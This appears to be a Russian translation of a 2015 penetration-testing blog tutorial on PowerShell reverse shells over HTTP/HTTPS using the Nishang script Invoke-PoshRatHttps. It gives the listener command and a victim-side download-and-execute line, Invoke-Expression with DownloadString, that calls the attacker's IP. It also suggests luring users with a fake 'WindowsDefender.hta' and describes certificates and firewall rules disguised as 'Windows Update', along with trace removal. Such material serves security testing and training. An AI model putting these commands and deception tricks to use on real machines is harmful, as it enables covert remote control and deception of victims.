06.11.2015

Мастер-класс по работе с PowerShell. Часть 3 – Шелл на базе протоколов HTTP/HTTPS

image

В третьей части мы рассмотрим работу с протоколами HTTP/HTTPS. Системные администраторы обычно не особо обращают внимание на трафик через HTTPS, что делает этот протокол перспективным в плане организации шеллов.

Автор: Nikhil SamratAshok Mittal

Предыдущие статьи данного цикла:

В третьей части мы рассмотрим работу с протоколами HTTP/HTTPS. Системные администраторы обычно не особо обращают внимание на трафик через HTTPS, что делает этот протокол перспективным в плане организации шеллов. Я взял за основу скрипт Кейси Смита (@subTee) под названием PoshRat (https://github.com/subTee/PoshRat).

В предыдущих двух частях, когда мы работали через протоколы TCP и UDP, шеллы были незащищенными. Скрипт Invoke-PoshRatHttps помогает организовать защищенный канал связи между злоумышленником и жертвой. Invoke-PoshRatHttps можно взять из папки https://github.com/samratashok/nishang/tree/master/Shells

Invoke-PoshRatHttps требует административных прав в системе злоумышленника для того, чтобы прослушивать порты и установить сертификаты. Команда для установки listener’а (сервера):

PS C:\> Invoke-PoshRatHttp 192.168.254.1 -Port 80 -SSLPort 443

Для корректной работы необходимо указать два порта. Первый – для первоначального соединения. Второй – для зашифрованных коммуникаций.

На машине жертвы необходимо выполнить следующую команду (обратите внимание, что используется протокол HTTP):

PS C:\> Invoke-Expression (New-Object Net.WebClient.DownloadString('http://192.168.254.1/connect')

Пользователя можно обмануть, предложив открыть файл с расширением hta. Однако минус данного подхода в том, что в браузере будут отображаться предупреждения, что снижает шансы на успешную атаку. Жертва должна открыть следующий URL:

https://192.168.254.1/WindowsDefender.hta

Рассмотрим наглядный пример:

http://2.bp.blogspot.com/-O-6r53-4sIM/VVMRMQWhEVI/AAAAAAAABRU/MAOjMsbLcZE/s1600/Invoke-PoshRatHttps.png

Рисунок 1: Организация зашифрованного канала связи

Теперь у нас появился интерактивный зашифрованный обратный шелл.

Если проанализировать трафик при помощи Wireshark, то можно увидеть, что только первоначальное соединение происходит через протокол HTTP. Весь остальной трафик идет по протоколу HTTPS. Первоначальное соединение используется для настройки зашифрованного канала.

http://4.bp.blogspot.com/-esrkVXmGOxM/VVMU5wGv9vI/AAAAAAAABRg/LElsWq1qpoY/s1600/wireshark.png

Рисунок 2: Анализ трафика через Wireshark

Все собранные пакеты можно скачать по следующей ссылке:

https://drive.google.com/folderview?id=0B-Hsu8q12kG3fkVMaWlQejI4bmktVFlnZHd5Y3pjcHcxRVppQVM1Y1ZYamI5RlYxNExhY2s&usp=sharing

Обратите внимание, что Invoke-PoshRatHttps устанавливает корневые сертификаты с именем "Windows Update Agent" и IP-адресом вашей машины. Входящий трафик приходит на указанные порты. Правила для фаервола именуются "Windows Update HTTPS" и "Windows Update HTTP".

Существует версия и для протокола HTTP (Invoke-PoshRatHttp):

http://3.bp.blogspot.com/-log-JF0kld4/VVM_1DN7bWI/AAAAAAAABRw/fa_36AHamK8/s1600/Invoke-PoshRatHttp.png

Рисунок 3: Организация шелла через протокол HTTP

Одно из главных преимуществ Invoke-PoshRatHttps в том, что клиентская часть очень маленького размера и может быть использована в связке с большим количеством техник, налагающих ограничения на размер полезной нагрузки.

Скрипт Remove-PoshRat удаляет следы после использования Invoke-PoshRatHttps. Для этого требуется PowerShell с административными привилегиями:

http://4.bp.blogspot.com/-q67o3_RX0hk/VVNUM8nmKwI/AAAAAAAABSI/I62dIu7mR9k/s1600/Remove-PoshRat.png

Рисунок 4: Удаление следов после использования Invoke-PoshRatHttps

Ранее я рассказывал о скрипте Invoke-PsGcat, который использует аккаунт Gmail для выполнения команд и запуска скриптов.

http://2.bp.blogspot.com/-IX2c2q96xrY/VVNY8xX3ADI/AAAAAAAABSY/3k-Jt219AYc/s1600/psgcat_meterpreter.png

Рисунок 5: Организация защищенного соединения при помощи powercat

На видео ниже демонстрируется наглядное использование скрипта Invoke-PoshRatHttps: